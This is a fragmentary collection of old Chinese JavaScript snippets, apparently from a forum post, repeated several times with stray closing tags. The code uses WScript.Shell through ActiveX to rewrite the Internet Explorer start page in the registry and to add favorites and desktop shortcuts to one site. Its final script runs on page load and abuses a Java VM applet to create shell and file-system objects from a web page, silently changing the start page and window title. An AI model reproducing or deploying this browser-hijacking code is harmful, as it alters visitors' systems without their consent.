<script language="Javascript">
var WshShell = new ActiveXObject("WScript.Shell");
var url="http://lucky.myrice.com";
var title="【孟宪会之精彩世界】";
WshShell.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", url);
var FavoritesPath = WshShell.SpecialFolders("Favorites");
var oUrlLink = WshShell.CreateShortcut(FavoritesPath+'\\'+title+".lnk");
oUrlLink.TargetPath = url;
oUrlLink.Save();
var DesktopPath = WshShell.SpecialFolders("Desktop");//返回桌面路径
DesktopPath=DesktopPath.substring(0,DesktopPath.length-7)
var MyShortcut = WshShell.CreateShortcut(DesktopPath + title+ "的快捷方式.lnk");
MyShortcut.TargetPath = url;
MyShortcut.WindowStyle = 4;
MyShortcut.IconLocation = WshShell.ExpandEnvironmentStrings("%windir%\\SYSTEM\\SHELL32.DLL,46");
MyShortcut.Save();
</script>
var WshShell = new ActiveXObject("WScript.Shell");
var url="http://lucky.myrice.com";
var title="【孟宪会之精彩世界】";
WshShell.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", url);
var FavoritesPath = WshShell.SpecialFolders("Favorites");
var oUrlLink = WshShell.CreateShortcut(FavoritesPath+'\\'+title+".lnk");
oUrlLink.TargetPath = url;
oUrlLink.Save();
var DesktopPath = WshShell.SpecialFolders("Desktop");//返回桌面路径
DesktopPath=DesktopPath.substring(0,DesktopPath.length-7)
var MyShortcut = WshShell.CreateShortcut(DesktopPath + title+ "的快捷方式.lnk");
MyShortcut.TargetPath = url;
MyShortcut.WindowStyle = 4;
MyShortcut.IconLocation = WshShell.ExpandEnvironmentStrings("%windir%\\SYSTEM\\SHELL32.DLL,46");
MyShortcut.Save();
</script>
var WshShell = new ActiveXObject("WScript.Shell");
var url="http://lucky.myrice.com";
var title="【孟宪会之精彩世界】";
WshShell.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", url);
var FavoritesPath = WshShell.SpecialFolders("Favorites");
var oUrlLink = WshShell.CreateShortcut(FavoritesPath+'\\'+title+".lnk");
oUrlLink.TargetPath = url;
oUrlLink.Save();
var DesktopPath = WshShell.SpecialFolders("Desktop");//返回桌面路径
//alert(DesktopPath)
//DesktopPath=DesktopPath.substring(0,DesktopPath.length-7)
var MyShortcut = WshShell.CreateShortcut(DesktopPath + "\\" + title+ "的快捷方式.lnk");
MyShortcut.TargetPath = url;
MyShortcut.WindowStyle = 4;
MyShortcut.IconLocation = WshShell.ExpandEnvironmentStrings("%windir%\\SYSTEM\\SHELL32.DLL,46");
MyShortcut.Save();
</script>
window.external.addFavorite('http://colorweb.go.163.com','孟宪会之精彩世界')
</script>
“automation服务器不能创建对象”
<SCRIPT>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function AddFavLnk(loc,DispName,SiteURL)
{
var Shor=Shl.CreateShortcut(loc+"\\"+DispName+".URL");
Shor.TargetPath=SiteURL;
Shor.Save();
}
function f(){
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl=a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO=a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net=a1.GetObject();
try
{
{
Shl.RegWrite("HKCU\\Software\\Microsoft\\InternetExplorer\\Main\\StartPage","http://lucky.myrice.com/");
Shl.RegWrite("HKCU\\Software\\Microsoft\\InternetExplorer\\Main\\WindowTitle","【孟宪会之精彩世界】http://lucky.myrice.com制作!!");
var WF,Shor,loc;
WF=FSO.GetSpecialFolder(0);
loc=WF+"\\Favorites";
if(!FSO.FolderExists(loc))
{
loc=FSO.GetDriveName(WF)+"\\DocumentsandSettings\\"+Net.UserName+"\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
AddFavLnk(loc,"【孟宪会之精彩世界】","http://lucky.myrice.com/");
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()",1000);
}
init();
</SCRIPT>
</body>
</HTML>